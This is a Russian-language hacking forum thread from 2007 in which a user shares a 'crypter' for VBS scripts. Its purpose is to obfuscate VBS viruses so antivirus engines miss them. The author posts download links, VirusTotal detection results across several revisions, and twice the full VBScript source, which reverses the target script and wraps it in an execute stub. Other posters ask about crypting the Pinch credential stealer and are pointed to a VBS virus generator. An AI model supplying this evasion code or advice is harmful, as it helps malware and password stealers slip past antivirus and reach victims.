Криптор vbs

Discussion in 'Безопасность и Анонимность' started by GROB_T, 26 Mar 2007.

  1. GROB_T

    GROB_T Elder - Старейшина

    Joined:
    3 Mar 2007
    Messages:
    134
    Likes Received:
    50
    Reputations:
    6
    Сделал криптор vbs файлов, тока после того как сделал, заметил, что каспер,гад, палит,но на вирустотале его палит тока каспер и еще один какой-то левый антивирь, подумал, может кому понадоботся, ща буду пробовать от каспера скрывать. Криптор написан на vbs.
    http://grob-t.narod.ru/Cryptor.vbs
     
    1 person likes this.
  2. GROB_T

    GROB_T Elder - Старейшина

    Joined:
    3 Mar 2007
    Messages:
    134
    Likes Received:
    50
    Reputations:
    6
    переделал криптор, теперь на вирустотале все молчит как рыба!
    качать тут http://grob-t.narod.ru/cryptornew.vbs
     
    1 person likes this.
  3. PAKOT

    PAKOT Member

    Joined:
    13 Feb 2007
    Messages:
    21
    Likes Received:
    6
    Reputations:
    1
    Можеш его выложить с расширением .ехе ?
     
  4. GROB_T

    GROB_T Elder - Старейшина

    Joined:
    3 Mar 2007
    Messages:
    134
    Likes Received:
    50
    Reputations:
    6
    непонял, ты имеешь ввиду скомплированный?скоро выложу, только немного переделаю, чтоб имена файлов надо было самому вводить
     
  5. GROB_T

    GROB_T Elder - Старейшина

    Joined:
    3 Mar 2007
    Messages:
    134
    Likes Received:
    50
    Reputations:
    6
    PAKOT, выложил в exe http://grob-t.narod.ru/kryptorvbs.rar
    пароль grob-t.narod.ru
     
    1 person likes this.
  6. Slapy

    Slapy Banned

    Joined:
    27 Mar 2007
    Messages:
    9
    Likes Received:
    1
    Reputations:
    0
    не понел =((((( а как криптовать то Pinch ? =(((((
     
    #6 Slapy, 27 Mar 2007
    Last edited: 27 Mar 2007
  7. GROB_T

    GROB_T Elder - Старейшина

    Joined:
    3 Mar 2007
    Messages:
    134
    Likes Received:
    50
    Reputations:
    6
    это криптор файлов *.vbs, а пинч - это exe, следовательно его этим криптором нельзя закриптовать!
     
  8. v1ru$

    v1ru$ Elder - Старейшина

    Joined:
    17 Mar 2007
    Messages:
    272
    Likes Received:
    196
    Reputations:
    17
    Вот что говорит вирустотал(остальное чисто)
    BitDefender 7.2 03.27.2007 Trojan.VBS.Kalmar.Dropper.A (ну и название блин)
    Ewido 4.0 03.27.2007 Worm.Ancrist
    Panda 9.0.0.4 03.27.2007 Suspicious file
     
  9. Slapy

    Slapy Banned

    Joined:
    27 Mar 2007
    Messages:
    9
    Likes Received:
    1
    Reputations:
    0
    mm..... а че за вирус в фармате .vbs че он делает этот вирус ? блин кто поможет с хорошим криптором фармата .exe ? мне для Pincha =((((
     
    #9 Slapy, 27 Mar 2007
    Last edited: 27 Mar 2007
  10. P1rat

    P1rat Member

    Joined:
    27 Mar 2007
    Messages:
    25
    Likes Received:
    10
    Reputations:
    1
    Ссорри за оффтоп, но зачем проверять на вирустотале, он же палиться намного быстрее начнет.
     
  11. P1rat

    P1rat Member

    Joined:
    27 Mar 2007
    Messages:
    25
    Likes Received:
    10
    Reputations:
    1
    http://forum.antichat.ru/thread35892.html
    или
    http://damagelab.org/index.php?showtopic=17244
     
    1 person likes this.
  12. GROB_T

    GROB_T Elder - Старейшина

    Joined:
    3 Mar 2007
    Messages:
    134
    Likes Received:
    50
    Reputations:
    6
    v1ru$, спасибо, что сказал, видимо, все зависит от самого вируса, когда я на вирустотале проверил вирус, сгенеренный на апокалипсисе со всеми настройками, результат был намного хуже чем у тебя, палил даже каспер:)
    Вот обновление http://grob-t.narod.ru/Cryptor.vbs , тот же вирь на апокалипсисе определяют только BitDefender:VBS.Alien.B@mm и McAfee:NewScript, сегодня под вечер, а может и раньше немного изменю криптор, если кто заметил, то первый и второй криптор были совсем разные, короче попробую их скрестить, и кстати v1ru$ что ты такое криптовал у меня ни панда ни Ewido ни разу не вякнули

    Slapy, vbs вирусы это обычные вирусы делают тоже-самое,что и обычные вирусы написаны на языке Visual Basic Script, если хочешь разобраться скачай какой-нибудь генератор vbs вирусов, их много, русский - apokalipses
     
  13. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,119
    Reputations:
    1,139
    наверное стоит научиться отличать exe от vb
     
  14. GROB_T

    GROB_T Elder - Старейшина

    Joined:
    3 Mar 2007
    Messages:
    134
    Likes Received:
    50
    Reputations:
    6
    Вот очередное обновление:
    Set FSO = CreateObject("Scripting.FileSystemObject")
    Set File = FSO.GetFile("C:\temp.vbs")'Тут нужно указать путь к файлу, который надо закриптовать
    Set TextStream = File.OpenAsTextStream(1)
    While Not TextStream.AtEndOfStream
    Str = TextStream.ReadLine()
    st=st&replace(str,"""","""""")
    st=st&"""&flrcbv&"""
    strr=StrReverse(st)
    Wend
    TextStream.Close
    Set TextStream = FSO.CreateTextFile("C:\temp2.vbs")'Сюда будет сохраняться закриптованный файл
    TextStream.Writeline "a=StrReverse("""&strr&""")"&vbcrlf&"execute(a)"
    TextStream.Close

    Правда от BitDefender не удалось скрыть :( , только от McAfee, а, кстати этот антивирь BitDefender, он популярный или нет?
     
  15. v1ru$

    v1ru$ Elder - Старейшина

    Joined:
    17 Mar 2007
    Messages:
    272
    Likes Received:
    196
    Reputations:
    17
    Вроде бит не очень,но пинчи палит криптованые(если паблик криптор)
    З.Ы.На вирустотале я проверял сам криптор)
     
  16. Dimi4

    Dimi4 Чайный пакетик

    Joined:
    19 Mar 2007
    Messages:
    750
    Likes Received:
    1,046
    Reputations:
    291
    А можеж выложить конечный код (когда уже с формою).Интересно взглянуть.
    П.С.Я просто практикуюсь на вб, и хотел бы знать как ты ето зделал.
     
  17. sakauri

    sakauri Member

    Joined:
    23 May 2007
    Messages:
    41
    Likes Received:
    6
    Reputations:
    -5
    Вот блин каспер ворчит на хак тулл!!!
     
  18. GROB_T

    GROB_T Elder - Старейшина

    Joined:
    3 Mar 2007
    Messages:
    134
    Likes Received:
    50
    Reputations:
    6
    Dimi4, это написано на VBS, хотя на vb тоже работать должно, формы помоему не надо
     
  19. Dimi4

    Dimi4 Чайный пакетик

    Joined:
    19 Mar 2007
    Messages:
    750
    Likes Received:
    1,046
    Reputations:
    291
    Ето механическая ошибка, я имел ввиду vbs.Дай код плз, а то я парюсь с BrowseForFolder ничо не катит.
     
    #19 Dimi4, 8 Jun 2007
    Last edited: 8 Jun 2007
  20. GROB_T

    GROB_T Elder - Старейшина

    Joined:
    3 Mar 2007
    Messages:
    134
    Likes Received:
    50
    Reputations:
    6
    2 Dimi4, это и есть код

    Set FSO = CreateObject("Scripting.FileSystemObject")
    Set File = FSO.GetFile("C:\temp.vbs")'Тут нужно указать путь к файлу, который надо закриптовать
    Set TextStream = File.OpenAsTextStream(1)
    While Not TextStream.AtEndOfStream
    Str = TextStream.ReadLine()
    st=st&replace(str,"""","""""")
    st=st&"""&flrcbv&"""
    strr=StrReverse(st)
    Wend
    TextStream.Close
    Set TextStream = FSO.CreateTextFile("C:\temp2.vbs")'Сюда будет сохраняться закриптованный файл
    TextStream.Writeline "a=StrReverse("""&strr&""")"&vbcrlf&"execute(a)"
    TextStream.Close
     
    1 person likes this.